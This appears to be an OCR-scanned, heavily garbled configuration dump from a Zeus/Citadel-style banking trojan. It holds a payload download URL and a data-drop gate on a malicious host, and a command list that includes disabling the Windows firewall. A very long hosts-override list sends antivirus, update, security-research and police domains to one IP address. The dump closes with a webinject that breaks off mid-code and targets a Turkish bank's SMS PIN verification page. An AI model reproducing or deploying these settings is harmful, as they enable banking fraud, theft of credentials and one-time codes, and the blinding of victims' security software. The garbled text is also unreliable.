Version: 1.3.5.1

url _| oader (binary downl oad)
http://pos-1icense. conici dd345345d/file. php|file=trafo.exe
end

url _server (dropzone)
http://pos-1icense. coni ci dd345345d/ gat e. php
end

<Msg | D=20018 UNKNOWN Fi |l eLen=43 Real Len=43 Type=' Unconpressed' TypeCode=10000000>
http://pos-1icense. coni ci dd345345d/fil e. php
end

entry "AdvancedConfigs" (backup config files)
http://m crocaroi nos3. coni ci dd345345d/fil e. php|file=config.bin

end

CndLi st
host nane
taskl i st
i pconfig /al
netsh firewall set opnobde disable

end

url _wfrules
#*wel | sfargo. com *
@ paynent .. com *
Lhttp://*.com*.jpg

end

<Msg | D=20020 UNKNOWN Fi |l eLen=17 Real Len=17 Type=' Unconpressed' TypeCode=10000000>
*facebook. com *

end

entry "HOST_DNS_OVERRI DES"
*antivirus*=209. 85. 229. 104
bi t def ender. com=209. 85. 229. 104
downl oad. bi t def ender . com=209. 85. 229. 104
updat e. bi t def ender. com=209. 85. 229. 104
wf bs51- p. acti veupdat e. t rendmi cro. com=209. 85. 229. 104
wf bs60- p. acti veupdat e. t rendmi cr o. com=209. 85. 229. 104
i au.trendm cro. com=209. 85. 229. 104
| i censeupdat e. trendmni cro. com=209. 85. 229. 104
csmas. acti veupdate. trendm cro. conr209. 85. 229. 104
wf bs6-i css-p. acti veupdate.trendmi cro. com=209. 85. 229. 104
oc. activeupdate. trendm cro. comr209. 85. 229. 104
updat e. avg. conm=209. 85. 229. 104
updat e. gri sof t. com=209. 85. 229. 104
backup. avg. cz=209. 85. 229. 104
backup. gri soft.cz=209. 85. 229. 104
files2. grisoft.cz=209.85.229. 104
files2. avg. cz=209. 85. 229. 104
downl oad. gri soft.cz=209. 85.229. 104
downl oad. avg. cz=209. 85. 229. 104
akamai . grisoft.cz=209. 85. 229. 104
akamai . grisoft.cz. edgesuite. net =209. 85. 229. 104
akamai . avg. cz=209. 85. 229. 104
akanai . avg. cz. edgesui t e. net =209. 85. 229. 104



akamai . gri soft.com=209. 85. 229. 104
akamai . avg. com=209. 85. 229. 104

akamai . gri soft.com edgesuite. net =209. 85. 229. 104
akamai . avg. com edgesui t e. net =209. 85. 229. 104
dat a- cdn. nbanupdat es. com=209. 85. 229. 104
su. pct ool s. com=209. 85. 229. 104

pct ool s. conm=209. 85. 229. 104

downl oad. | avasoft. com=209. 85. 229. 104
secure. |l avasoft. conr209. 85. 229. 104

| avasoft. com=209. 85. 229. 104

bi t def ender . nl =209. 85. 229. 104

vi rust ot al . com=209. 85. 229. 104

trendm cro. nl =209. 85. 229. 104

trendm cro. com au=209. 85. 229. 104

www. t rendmi cr o. com au=209. 85. 229. 104
secur esoft.com au=209. 85. 229. 104

avi ra. com au=209. 85. 229. 104
gratissoftwaresite.nl =209. 85. 229. 104
nod32. com au=209. 85. 229. 104
pandasecurity.com au=209. 85. 229. 104

| avasoft. com au=209. 85. 229. 104

avg. com au=209. 85. 229. 104

symant ec- nort on. com=209. 85. 229. 104
housecal | . trendm cro. com=209. 85. 229. 104
f or uns. mal war ebyt es. or g=209. 85. 229. 104
mal war ebyt es. or g=209. 85. 229. 104

pchel pf orum com=209. 85. 229. 104

pchel pf orum com=209. 85. 229. 104

foruns. cnet. com=209. 85. 229. 104

t echsupportforum com=209. 85. 229. 104
gratissoftware. nu=209. 85. 229. 104

maj or geeks. conr209. 85. 229. 104

foruns. pcwor | d. com=209. 85. 229. 104

anti vi rus. m crobe. com au=209. 85. 229. 104
avast.com au=209. 85. 229. 104
avg-antivirus.com au=209. 85. 229. 104
nortonanti vi ruscent er. con=209. 85. 229. 104
threatmetri x. com=209. 85. 229. 104

www. zoneal arm com=209. 85. 229. 104
firewall gui de. com=209. 85. 229. 104

audi t nypc. con=209. 85. 229. 104

conodo. con=209. 85. 229. 104
free-firewal | .org=209. 85. 229. 104
schoonepc. nl =209. 85. 229. 104

i opus. com=209. 85. 229. 104

tucows. con=209. 85. 229. 104
avg-antivirus-plus-firewall.en.softonic.coms209. 85.229. 104
super anti spywar e. com au=209. 85. 229. 104
super anti spywar e. conr209. 85. 229. 104

har veynor man. com au=209. 85. 229. 104
ca-store.com au=209. 85. 229. 104

net f rei ght ers. com au=209. 85. 229. 104
secur et ec. com au=209. 85. 229. 104

anti - spywar e. com au=209. 85. 229. 104
virusscan.jotti.org=209. 85.229. 104

Vi rscan. or g=209. 85. 229. 104
antivir.ru=209. 85.229. 104

anal ysi s. avi ra. comr209. 85. 229. 104

hi j ackt hi s. de=209. 85. 229. 104

upl oadnmal war e. com=209. 85. 229. 104

ensi soft. conr209. 85. 229. 104

kasper sky. co. uk=209. 85. 229. 104

bi t def ender. co. uk=209. 85. 229. 104



eset. co. uk=209. 85. 229. 104

webr oot . com=209. 85. 229. 104

gdat asof t war e. co. uk=209. 85. 229. 104
pcpro. co. uk=209. 85. 229. 104

webr oot . co. uk=209. 85. 229. 104
cyprotect.com=209. 85. 229. 104

cl oudanti vi rus. com=209. 85. 229. 104
drweb-antivir.it=209.85.229. 104
escanav. conm=209. 85. 229. 104

cl amwi n. comr209. 85. 229. 104

nod32. nl =209. 85. 229. 104

webr oot . nl =209. 85. 229. 104

av. eu=209. 85. 229. 104
vergelijk.nl=209. 85.229. 104
antivirusvergelijk.nl=209.85.229.104
vi russen. upc. nl =209. 85. 229. 104
antivirus. startpagi na. nl =209. 85. 229. 104
avast av. nl =209. 85. 229. 104

def enx. nl =209. 85. 229. 104

gdat a. nl =209. 85. 229. 104

bi t def ender . nl =209. 85. 229. 104
renovevi rus. or g=209. 85. 229. 104

w ndows. m crosoft.com209. 85. 229. 104
answers. m crosof t. com=209. 85. 229. 104
myant i spywar e. com=209. 85. 229. 104

kr ebsonsecurity. com=209. 85. 229. 104
anti virus. about. com=209. 85. 229. 104

cl eanuni nstal | . com=209. 85. 229. 104

st apl es. com=209. 85. 229. 104
esetindi a. con=209. 85. 229. 104

ncaf ee.free-trials. net=209. 85.229. 104
antivir-2012. conmr209. 85. 229. 104
panda- anti vi rus. en. sof t oni c. com=209. 85. 229. 104
sof t oni ¢c. comr209. 85. 229. 104
freeantivirushel p. com=209. 85. 229. 104
scanwi t h. comr209. 85. 229. 104

best anti vi rusrevi ewed. comr209. 85. 229. 104
vi rus- hel p. net =209. 85. 229. 104

cl eanal | spywar e. com=209. 85. 229. 104

ki ngsof t security. com=209. 85. 229. 104
threatfire.coms209. 85.229. 104
freeavg. com=209. 85. 229. 104

cl amav. net =209. 85. 229. 104

pct hreat . com=209. 85. 229. 104
2-viruses. conr209. 85. 229. 104
trojan-killer.ne=209. 85. 229. 104

vi rusi nfo. i nfo=209. 85. 229. 104

www. Vi rusi nfo. i nfo=209. 85.229. 104

pr oj ect honeypot . or g=209. 85. 229. 104
www. pr oj ect honeypot . or g=209. 85. 229. 104
novi rus. ru=209. 85. 229. 104

WWW. novi rus. ru=209. 85. 229. 104

anti - mal war e. conr209. 85. 229. 104

www. ant i - mal war e. con=209. 85. 229. 104
of f ensi veconputi ng. net =209. 85. 229. 104
www. of f ensi veconput i ng. n=209. 85. 229. 104et
zeustracker. abuse. ch=209. 85. 229. 104
www. zeust r acker . abuse. ch=209. 85. 229. 104
www. mal ekal . comr209. 85. 229. 104

ww3. mal ekal . com=209. 85. 229. 104
forum nmal ekal . com=209. 85. 229. 104

www. t hr eat expert. com=209. 85. 229. 104

t hr eat expert. com=209. 85. 229. 104



www. i cr osoft. conr209. 85. 229. 104

updat e. m crosoft. com=209. 85. 229. 104
www. vi rust ot al . conr209. 85. 229. 104
virusscan.jotti.org=209. 85.229. 104
WWw. av- conpar ati ves. or g=209. 85. 229. 104
av-conparati ves. or g=209. 85. 229. 104
av-test.org=209. 85.229. 104

www. av-test. org=209. 85. 229. 104

www. scanwi t h. com=209. 85. 229. 104
trendm cro. com au=209. 85. 229. 104
kasper skyanz. com au=209. 85. 229. 104

bi t def ender. com au=209. 85. 229. 104
eset.com au=209. 85. 229. 104

vet.com au=209. 85. 229. 104

sm nctaf ee. conm=209. 85. 229. 104

hone. ntaf ee. con=209. 85. 229. 104

t ool bar. avg. com=209. 85. 229. 104

st ats. avg. com=209. 85. 229. 104

WWW. Vi rusbt n. com=209. 85. 229. 104

adwar er eport. conmr209. 85. 229. 104

avg. com au=209. 85. 229. 104

www. adwar er eport . com=209. 85. 229. 104
mal war ebyt es. or g=209. 85. 229. 104

www. mal war ebyt es. or g=209. 85. 229. 104
dw. com conm=209. 85. 229. 104
nss-shasta-rrs. synant ec. com=209. 85. 229. 104
spywar ewar ri or. com=209. 85. 229. 104

WWW. spywar ewar ri or. comr209. 85. 229. 104
avsoft.ru=209. 85.229. 104

www. avsof t. ru=209. 85. 229. 104

onecare. | ive.com=209. 85. 229. 104

anubi s. i secl ab. or g=209. 85. 229. 104
wepawet . i secl ab. or g=209. 85. 229. 104

i secl ab. org=209. 85. 229. 104

www. | secl ab. or g=209. 85. 229. 104

www. f reespacei nt er net sec=209. 85. 229. 104urity. com
freespacei nternet securit=209. 85. 229. 104y. com
sunbel t - sof t war e. conr209. 85. 229. 104
www. sunbel t - sof t war e. com=209. 85. 229. 104
www. prevx. com=209. 85. 229. 104

prevx. com=209. 85. 229. 104

anal ysi s. secl ab. t uwi en. a=209. 85. 229. 104c. at
www. j oebox. or g=209. 85. 229. 104

j oebox. or g=209. 85. 229. 104

gner. net =209. 85. 229. 104

www. gner . net =209. 85. 229. 104
antirootkit.coms209. 85. 229. 104

www. antiroot kit.com=209. 85. 229. 104
sect ool s. or g=209. 85. 229. 104

www. sandboxi e. com=209. 85. 229. 104
sandboxi e. conr209. 85. 229. 104

nepent hes. macol | ect. or g=209. 85. 229. 104
macol | ect. or g=209. 85. 229. 104

www. ant so. or g=209. 85. 229. 104

ant so. or g=209. 85. 229. 104

www. nssl abs. com=209. 85. 229. 104

nssl abs. com209. 85. 229. 104

www. | csal abs. com=209. 85. 229. 104

i csal abs. com=209. 85. 229. 104

www. checkvi r. com=209. 85. 229. 104
checkvi r. conr209. 85. 229. 104

www. check- mar k. com=209. 85. 229. 104
check- mar k. com=209. 85. 229. 104



www. prot ect star-testlab. =209. 85. 229. 104org

protectstar-testlab. org=209. 85. 229. 104

www. anti - mal war e-t est. co=209. 85. 229. 104m

anti - mal war e-t est. com=209. 85. 229. 104
av-test.de=209. 85.229. 104

www. av-t est. de=209. 85. 229. 104

www. wi | dli st. org=209. 85. 229. 104

wi | dl i st.org=209. 85.229. 104

www, aavar . or g=209. 85. 229. 104

aavar . or g=209. 85. 229. 104

central ops. net =209. 85. 229. 104

www. st aysaf eonl i ne. i nf 0=209. 85. 229. 104
st aysaf eonl i ne. i nf 0=209. 85. 229. 104
www. r okop-security. de=209. 85. 229. 104

r okop- security. de=209. 85. 229. 104
www. Wi | der ssecurity. com=209. 85. 229. 104
Wi | derssecurity. com=209. 85. 229. 104
wWwWw. super ant i spywar e. com=209. 85. 229. 104
super anti spywar e. com=209. 85. 229. 104
updat e. m crosoft.com=209. 85. 229. 104
www. kasper sky. com=209. 85. 229. 104

www. kasper sky. ru=209. 85. 229. 104

kasper sky. ru=209. 85. 229. 104

www, avp. ru=209. 85. 229. 104

avp. ru=209. 85. 229. 104

www. vi rusli st. conr209. 85. 229. 104
viruslist.com=209. 85. 229. 104

www. vi ruslist. ru=209. 85.229. 104

www. kasper sky-anti vi rus. ru=209. 85. 229. 104

kasper sky-anti virus. ru=209. 85. 229. 104

downl oads1. kasper sky-1 abs. com=209. 85. 229.
downl oads2. kasper sky-1 abs. com=209. 85. 229.
downl oads3. kasper sky-1 abs. com=209. 85. 229.
downl oads4. kasper sky-1 abs. com=209. 85. 229.
downl oads5. kasper sky-1 abs. com=209. 85. 229.

104
104
104
104
104

downl oads- usl. kasper sky-1 abs. com=209. 85. 229
downl oads- us2. kasper sky-1 abs. com=209. 85. 229
downl oads- us3. kasper sky-1 abs. com=209. 85. 229
downl oads- eul. kasper sky-1 abs. com=209. 85. 229
downl oads- eu2. kasper sky-1 abs. com=209. 85. 229

kavdunps. kasper sky. com=209. 85. 229. 104
www. kasper skycl ub. com=209. 85. 229. 104
f orum kasper skycl ub. com=209. 85. 229. 104
f orum kasper skycl ub. ru=209. 85. 229. 104
kasper skycl ub. ru=209. 85. 229. 104
kasper skycl ub. com=209. 85. 229. 104

ft p. kasper skyl ab. ru=209. 85. 229. 104

ft p. kasper sky. ru=209. 85. 229. 104

ft p. kasper sky-1| abs. comr209. 85. 229. 104
dat a. kasper sky. ru=209. 85. 229. 104

z- ol eg. com=209. 85. 229. 104

www. z- ol eg. com=209. 85. 229. 104

drweb. com=209. 85. 229. 104

www. dr web. com=209. 85. 229. 104
freedrweb. com=209. 85. 229. 104

ww. f r eedr web. com=209. 85. 229. 104
drweb. com ua=209. 85. 229. 104

www. dr web. com ua=209. 85. 229. 104
drweb. ru=209. 85. 229. 104

www. dr web. ru=209. 85. 229. 104

av- desk. conr209. 85. 229. 104

www. av- desk. com=209. 85. 229. 104

drweb. net =209. 85. 229. 104

104
104
104
104
104



www. dr web. net =209. 85. 229. 104
ftp.drweb. com=209. 85. 229. 104

dr-web. ru=209. 85. 229. 104

www. dr - web. ru=209. 85. 229. 104

downl oad. dr web. conm=209. 85. 229. 104
support. drweb. com=209. 85. 229. 104
updat es. sal d. com=209. 85. 229. 104

sal d. com~209. 85. 229. 104

ww. sal d. conmr209. 85. 229. 104

drweb. i mshop. de=209. 85. 229. 104

saf eweb. nort on. con=209. 85. 229. 104
www. saf eweb. nort on. com=209. 85. 229. 104
www. symant ec. com=209. 85. 229. 104

shop. synmant ecst or e. com=209. 85. 229. 104
| i veupdat e. symant ec. com=209. 85. 229. 104
| i veupdat e. symant ecl i veu=209. 85. 229. 104pdat e. com
servi cel. symant ec. con=209. 85. 229. 104
www. servi cel. synmant ec. co=209. 85. 229. 104m
security. symant ec. com=209. 85. 229. 104
| i veupdat e. symant ec. d4p. =209. 85. 229. 104net
securityresponse. symant e=209. 85. 229. 104c. com
sygat e. comr209. 85. 229. 104

www. sygat e. com=209. 85. 229. 104

eset nod32. ru=209. 85. 229. 104

www. eset nod32. ru=209. 85. 229. 104

eset. com=209. 85. 229. 104

www. eset . com=209. 85. 229. 104
eset.com ua=209. 85. 229. 104

www. eset . com ua=209. 85. 229. 104

nod32. com ua=209. 85. 229. 104

www. nod32. com ua=209. 85. 229. 104

downl oad. eset . conr209. 85. 229. 104
updat e. eset . com=209. 85. 229. 104

eset . eu=209. 85. 229. 104

www. eset . eu=209. 85. 229. 104
nod32.it=209. 85.229. 104

www. nod32. it =209. 85. 229. 104

nod32. su=209. 85. 229. 104

www. nod32. su=209. 85. 229. 104

nod- 32. ru=209. 85. 229. 104

www. nod- 32. ru=209. 85. 229. 104

al | nod. com=209. 85. 229. 104

www. al | nod. conmr209. 85. 229. 104

al | nod. i nf 0=209. 85. 229. 104

www. al | nod. i nf 0=209. 85. 229. 104
virusal | . ru=209. 85. 229. 104

www. vi rusal | . ru=209. 85. 229. 104
nod32eset . or g=209. 85. 229. 104

www. nod32eset . or g=209. 85. 229. 104

eset . sk=209. 85. 229. 104

ww. eset . sk=209. 85. 229. 104

nod32. nl =209. 85. 229. 104

www. nod32. nl =209. 85. 229. 104

dl 1. antivir.de=209. 85.229. 104

dl 2. antivir.de=209. 85. 229. 104

dl 3. antivir.de=209. 85. 229. 104

dl 4. antivir.de=209. 85. 229. 104
free-av. comr209. 85. 229. 104

ww. free-av. com=209. 85. 229. 104
free-av. de=209. 85. 229. 104

ww. free-av. de=209. 85. 229. 104

avi ra. conr209. 85. 229. 104

WWW. avi ra. comr209. 85. 229. 104



avi ra. de=209. 85. 229. 104

www. avi ra. de=209. 85. 229. 104

wwwl. avi ra. conr209. 85. 229. 104

dl pro. antivir.com=209. 85. 229. 104
forum avira. com209. 85. 229. 104

www. f orum avi ra. comr209. 85. 229. 104
avi rus. ru=209. 85. 229. 104

WWW. avi rus. ru=209. 85. 229. 104
avira-antivir.ru=209. 85.229. 104
WWW. avi ra-antivir.ru=209. 85.229. 104
avi rus. com ua=209. 85. 229. 104

WWW. avi rus. com ua=209. 85. 229. 104
ncaf ee. com=209. 85. 229. 104

www. ncaf ee. conr209. 85. 229. 104

home. ntaf ee. comr209. 85. 229. 104

us. ncaf ee. conr209. 85. 229. 104

ru. ncaf ee. comr209. 85. 229. 104

de. ntaf ee. conr209. 85. 229. 104

ca. ncaf ee. com209. 85. 229. 104
fr.ncaf ee. comr209. 85. 229. 104

au. ncaf ee. com=209. 85. 229. 104

es. ntaf ee. conr209. 85. 229. 104

i t.ncaf ee. comr209. 85. 229. 104

uk. ncaf ee. conr209. 85. 229. 104

nmx. ncaf ee. comr209. 85. 229. 104

ru. ncaf ee. conr209. 85. 229. 104

ncaf ee-onl i ne. com=209. 85. 229. 104
www. ncaf ee- onl i ne. conmr209. 85. 229. 104
ncaf eesecurity. com=209. 85. 229. 104
www. ntaf eesecurity. comF209. 85. 229. 104
ncaf eesecur e. conmr209. 85. 229. 104
www. ncaf eesecur e. conF209. 85. 229. 104
avert | abs. com=209. 85. 229. 104

www. avert | abs. conr209. 85. 229. 104
downl oad. nai . comr209. 85. 229. 104

nai . com=209. 85. 229. 104

www. nai . com=209. 85. 229. 104

secure. nai . conF209. 85. 229. 104

eu. shopntaf ee. com=209. 85. 229. 104
shop. ntaf ee. com=209. 85. 229. 104

si bl og. ntaf ee. com=209. 85. 229. 104
ncaf eest ore. comr209. 85. 229. 104

www. ntaf eest ore. comr209. 85. 229. 104
servi ce. ntaf ee. com=209. 85. 229. 104
si teadvi sor. conmr209. 85. 229. 104

www. Si t eadvi sor. comr209. 85. 229. 104
scanal ert. conmr209. 85. 229. 104

www. dr sol onon. conr209. 85. 229. 104
ncaf ee- at - hone. conr209. 85. 229. 104
wwwy. ntaf ee- at - hone. com=209. 85. 229. 104
net wor kassoci at es. com=209. 85. 229. 104
www. net wor kassoci at es. con=209. 85. 229. 104
avast . ru=209. 85. 229. 104

www. avast . ru=209. 85. 229. 104

avast . comr209. 85. 229. 104

www. avast . com=209. 85. 229. 104

onl i nescan. avast . conr209. 85. 229. 104
downl oadl. avast. com=209. 85. 229. 104
downl oad2. avast . comr209. 85. 229. 104
downl oad3. avast. com=209. 85. 229. 104
downl oad4. avast . comF209. 85. 229. 104
downl oad5. avast. com=209. 85. 229. 104
downl oad6. avast. comr209. 85. 229. 104



downl oad7. avast . conr209. 85. 229. 104
free. avg. com=209. 85. 229. 104

au. norton. conr209. 85. 229. 104

trust def ender. comr209. 85. 229. 104

avg. com=209. 85. 229. 104

www. avg. com=209. 85. 229. 104

sshop. avg. con=209. 85. 229. 104

pct ool s. conm=209. 85. 229. 104

www. gri soft. cz=209. 85.229. 104

www. gri soft. com=209. 85. 229. 104
free.grisoft.com=209. 85. 229. 104

bi t def ender. com=209. 85. 229. 104

www. bi t def ender. com=209. 85. 229. 104
nmsecn. net =209. 85. 229. 104

bi t def ender . de=209. 85. 229. 104

www. bi t def ender . de=209. 85. 229. 104

bi t def ender. com ua=209. 85. 229. 104

www. bi t def ender. com ua=209. 85. 229. 104
bi t def ender. ru=209. 85. 229. 104

www. bi t def ender . ru=209. 85. 229. 104
myaccount . bi t def ender . co, =209. 85. 229. 104
downl oad. bi t def ender . com=209. 85. 229. 104
ftp. bitdefender.com=209. 85. 229. 104
forum bi t def ender. com=209. 85. 229. 104
upgr ade. bi t def ender. com=209. 85. 229. 104
agni tum ru=209. 85. 229. 104

www. agni t um ru=209. 85. 229. 104

agni tum com=209. 85. 229. 104

www. agni t um come209. 85. 229. 104

agni t um de=209. 85. 229. 104

www. agni t um de=209. 85. 229. 104

out postfirewal |.com209. 85. 229. 104
www. out post firewal | . com=209. 85. 229. 104
dl 1. agni t um com=209. 85. 229. 104

dl 2. agni t um com=209. 85. 229. 104

anti vi rus. conndo. conr209. 85. 229. 104
conodo. comr209. 85. 229. 104

www. conodo. com=209. 85. 229. 104

f orums. comodo. com=209. 85. 229. 104
conodogr oup. com=209. 85. 229. 104

www. conodogr oup. conr209. 85. 229. 104
personal firewal | . conodo. com=209. 85. 229. 104
www. per sonal firewal | . com=209. 85. 229. 104
hacker guar di an. com=209. 85. 229. 104

www. hacker guar di an. conmr209. 85. 229. 104
www. nscl ean. com=209. 85. 229. 104

nscl ean. com209. 85. 229. 104

cl amav. net =209. 85. 229. 104

www. cl amav. net =209. 85. 229. 104

db. | ocal . cl amav. net =209. 85. 229. 104

cl anmsupport. sourcefire.coms209. 85. 229. 104
| urker.cl amav. net =209. 85. 229. 104

wi ki . cl amav. net =209. 85. 229. 104

w32. cl amav. net =209. 85. 229. 104
l'ists.clamav. net =209. 85. 229. 104

cl amni n. com=209. 85. 229. 104

www. ¢l amwi n. com=209. 85. 229. 104

ru. cl amm n. com=209. 85. 229. 104
gietl.conmr209. 85.229. 104

www. gi et | . com=209. 85. 229. 104

cl amav. dyndns. or g=209. 85. 229. 104
f-secure. comr209. 85. 229. 104

www. f - secur e. com=209. 85. 229. 104



support. f-secure.conr209. 85. 229. 104
f-secure. ru=209. 85. 229. 104

www. f - secur e. ru=209. 85. 229. 104
ftp.f-secure.com=209. 85. 229. 104
europe. f-secure. conmF209. 85. 229. 104
www. eur ope. f - secur e. con=209. 85. 229. 104
f-secure. de=209. 85. 229. 104

www. f - secur e. de=209. 85. 229. 104
support. f-secure. de=209. 85.229. 104
ftp.f-secure.de=209. 85.229. 104
f-secure. co. uk=209. 85. 229. 104

www. f - secur e. co. uk=209. 85. 229. 104
retail.sp.f-secure. coms209. 85. 229. 104
retail 0l. sp.f-secure.conmr209. 85. 229. 104
retail 02. sp. f-secure.com=209. 85. 229. 104
ftp. europe. f-secure.conm=209. 85. 229. 104
nor man. com=209. 85. 229. 104

www. nor man. com=209. 85. 229. 104

downl oad. nor man. no=209. 85. 229. 104
sandbox. nor nan. no=209. 85. 229. 104

nor man. no=209. 85. 229. 104

www. nor man. no=209. 85. 229. 104

ni uone. nor man. no=209. 85. 229. 104
pandasecurity. comr209. 85. 229. 104

www. pandasecurity. com=209. 85. 229. 104
vi rusl ab. ru=209. 85. 229. 104

www. Vi rusl ab. ru=209. 85. 229. 104
pandasof t war e. comr209. 85. 229. 104

www. pandasof t war e. com=209. 85. 229. 104
acs. pandasof t war e. con=209. 85. 229. 104
www. pandasof t war e. es=209. 85. 229. 104
anti -virus. by=209. 85. 229. 104

www. anti - virus. by=209. 85. 229. 104

vi rusbl okada. ru=209. 85. 229. 104

www. Vi rusbl okada. ru=209. 85. 229. 104
vba32. de=209. 85. 229. 104

www. vba32. de=209. 85. 229. 104
ftp.nai.comr209. 85.229. 104

secuser. comr209. 85. 229. 104

www. secuser. com=209. 85. 229. 104

tds. di anondcs. com au=209. 85. 229. 104

wi ndowsupdat e. m cr osof t . com=209. 85. 229. 104
| avasof t usa. con=209. 85. 229. 104

www. | avasof t usa. comr209. 85. 229. 104

| avasof t usa. de=209. 85. 229. 104

www. | avasof t usa. de=209. 85. 229. 104

di anondcs. com au=209. 85. 229. 104

shop. ca. com=209. 85. 229. 104

downl oads. ny-etrust. comr209. 85. 229. 104
v4. wi ndowsupdat e. m cr osoft. com=209. 85. 229. 104
v5. wi ndowsupdat e. m crosoft. conr209. 85. 229. 104
noadwar e. net =209. 85. 229. 104

www. noadwar e. net =209. 85. 229. 104

zonel abs. com=209. 85. 229. 104

www. zonel abs. com=209. 85. 229. 104
noosoft. comr209. 85. 229. 104

www. moosof t . com=209. 85. 229. 104
secuser. nodel - f x. com=209. 85. 229. 104
pccreg. anti virus. comr209. 85. 229. 104
k-oti k. com=209. 85. 229. 104

vupen. comr209. 85. 229. 104

www. vupen. com=209. 85. 229. 104

housecal | . trendm cro. com=209. 85. 229. 104



trendm cro. conr209. 85. 229. 104

www. t rendm cr o. com=209. 85. 229. 104
us.trendm cro. com=209. 85. 229. 104

uk. trendm cro. com=209. 85. 229. 104

de. trendm cro. conr209. 85. 229. 104
fr.trendm cro. conr209. 85. 229. 104

es. trendm cro. conr209. 85. 229. 104

au. trendm cro. conF209. 85. 229. 104
it.trendm cro.com=209. 85. 229. 104
br.trendm cro. com=209. 85. 229. 104
antivirus. cai.conr209. 85. 229. 104
sophos. com=209. 85. 229. 104

www. sophos. com=209. 85. 229. 104
securitoo. conr209. 85. 229. 104

nordnet. com=209. 85. 229. 104

www. nor dnet . com=209. 85. 229. 104
avgfrance. con=209. 85. 229. 104

www. avgf rance. com=209. 85. 229. 104
antivirus-online. de=209. 85. 229. 104
wWww. anti vi rus-online. de=209. 85. 229. 104
ftp. esaf e. com=209. 85. 229. 104
ftp.mcroworl dsystens. com=209. 85. 229. 104
ftp.ca. co=209. 85. 229. 104

files.trendm cro-europe. con=209. 85. 229. 104
i nli ne-software. de=209. 85. 229. 104
ravanti vi rus. comr209. 85. 229. 104

WWW. ravant i vi rus. conr209. 85. 229. 104
f-prot.coms209. 85. 229. 104

www. f - prot. com=209. 85. 229. 104
files.f-prot.com=209. 85. 229. 104
secure. f-prot.com=209. 85. 229. 104
vsanti vi rus. com209. 85. 229. 104

wWwWw. vsanti vi rus. comr209. 85. 229. 104
openanti virus. org=209. 85. 229. 104

www. openanti vi rus. or g=209. 85. 229. 104
ww3. ca. com=209. 85. 229. 104

di al ognauka. ru=209. 85. 229. 104

www. di al ognauka. ru=209. 85. 229. 104
anti-virus-software-revi ew.com209. 85. 229. 104
WWW. ant i - vi rus-software-revi ew. comr209. 85. 229. 104
www. vet . com au=209. 85. 229. 104
antiviral dp. com=209. 85. 229. 104

www. anti viral dp. con=209. 85. 229. 104
wWww. proanti vi rus. com=209. 85. 229. 104
pest patrol . conr209. 85. 229. 104

www. pest pat rol . com=209. 85. 229. 104

si npl ysup. con=209. 85. 229. 104

www. si mpl ysup. com=209. 85. 229. 104

m sec. net =209. 85. 229. 104

wWwWw. M sec. net =209. 85. 229. 104

wwwl. ny-etrust. com=209. 85. 229. 104

aut henti um com=209. 85. 229. 104

www. aut hent i um conm=209. 85. 229. 104
finjan. coms209. 85. 229. 104

www. fi nj an. com=209. 85. 229. 104

www. i kar us- sof t war e. at =209. 85. 229. 104
www. i ka-rus. com=209. 85. 229. 104

i ka-rus. come209. 85. 229. 104
tinysoftware. com=209. 85. 229. 104

www. t i nysof t war e. com=209. 85. 229. 104
vi sual i zesof t war e. conr209. 85. 229. 104
www. vi sual i zesof t war e. com=209. 85. 229. 104
kerio.conmr209. 85. 229. 104
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www. keri 0. com=209. 85. 229. 104

www. kKeri 0. eu=209. 85. 229. 104

www. zonel abs. com=209. 85. 229. 104
zonel og. co. uk=209. 85. 229. 104

www. zonel og. co. uk=209. 85. 229. 104
webr oot . com=209. 85. 229. 104

www. webr oot . comr209. 85. 229. 104
www. | avasof t . nu=209. 85. 229. 104
spywar egui de. conmr209. 85. 229. 104
ww. spywar egui de. com=209. 85. 229. 104
spybl ocker - sof t war e. comr209. 85. 229. 104
www. spybl ocker - sof t war e. conm=209. 85. 229. 104
www. spamhaus. or g=209. 85. 229. 104
spantop. net =209. 85. 229. 104

www. spantop. net =209. 85. 229. 104
bobbear . co. uk=209. 85. 229. 104

www. bobbear . co. uk=209. 85. 229. 104
domai nt ool s. com=209. 85. 229. 104
www. domai nt ool s. com=209. 85. 229. 104
central ops. net =209. 85. 229. 104

www. cent ral ops. net =209. 85. 229. 104
www. r obt ex. com=209. 85. 229. 104
dnsst uf f. com=209. 85. 229. 104

www. dnsst uf f. com=209. 85. 229. 104

ri pe. net =209. 85. 229. 104

wWww. ri pe. net =209. 85. 229. 104

www. et . pol i ce. uk=209. 85. 229. 104
nbi . gov. ph=209. 85. 229. 104

www. nbi . gov. ph=209. 85. 229. 104

www. pol i ce. gov. hk=209. 85. 229. 104
treasury. gov=209. 85. 229. 104

www. t reasury. gov=209. 85. 229. 104
cybercrime. gov=209. 85. 229. 104

www. cyber cri ne. gov=209. 85. 229. 104
www. cyber cri me. ch=209. 85. 229. 104
eni sa. eur opa. eu=209. 85. 229. 104
WWW. eni sa. eur opa. eu=209. 85. 229. 104
www. i nt er pol . i nt =209. 85. 229. 104
www. f sa. gov. uk=209. 85. 229. 104

wWww. comrpani es- house. gov. uk=209. 85. 229. 104
fraudai d. com=209. 85. 229. 104

www. f raudai d. com=209. 85. 229. 104
scanbust ers. or g=209. 85. 229. 104
www. scanbust er s. or g=209. 85. 229. 104
spant rackers. eu=209. 85. 229. 104
www. spant r acker s. eu=209. 85. 229. 104

end

<Msg | D=20015 UNKNOWN Fi |l eLen=18 Real Len=18 Type=' Unconpressed' TypeCode=10000000>
bank. exe; j ava. exe

end

<Msg | D=20016 UNKNOWN Fil eLen=4 Real Len=4 Type=' Unconpressed' TypeCode=10000000>
en:jX03

<Msg | D=20101 UNKNOWN Fil eLen=4 Real Len=4 Type=' Unconpressed' TypeCode=10000000>
en:jX01

<Msg | D=20102 UNKNOWN Fi |l eLen=4 Real Len=4 Type=' Unconpressed' TypeCode=10000000>

11



X\ x02
end

entry "Webl njects”

Mask 0x3064
Target URL :
"https://isube.garanti.comtr/isube/login/login/smspinverify*
dat a_before
</ head>
data_after

data_inj ect
<link rel ="styl esheet" type="text/css"
href="https://aj ax. googl eapi s. conf aj ax/|ibs/jqueryui/1.7.1/themes/blitzer/ui.all.css"
/>
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 12px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</styl e>
<script type="text/javascript”
src="https://aj ax. googl eapi s. confaj ax/libs/jquery/1.3.2/jquery.mn.js"></script>
<script type="text/javascript"
src="https://aj ax. googl eapi s. confajax/libs/jqueryui/1.7.1/jquery-ui.mn.js"></script>

dat a_before
</ body>
data_after

data_inj ect
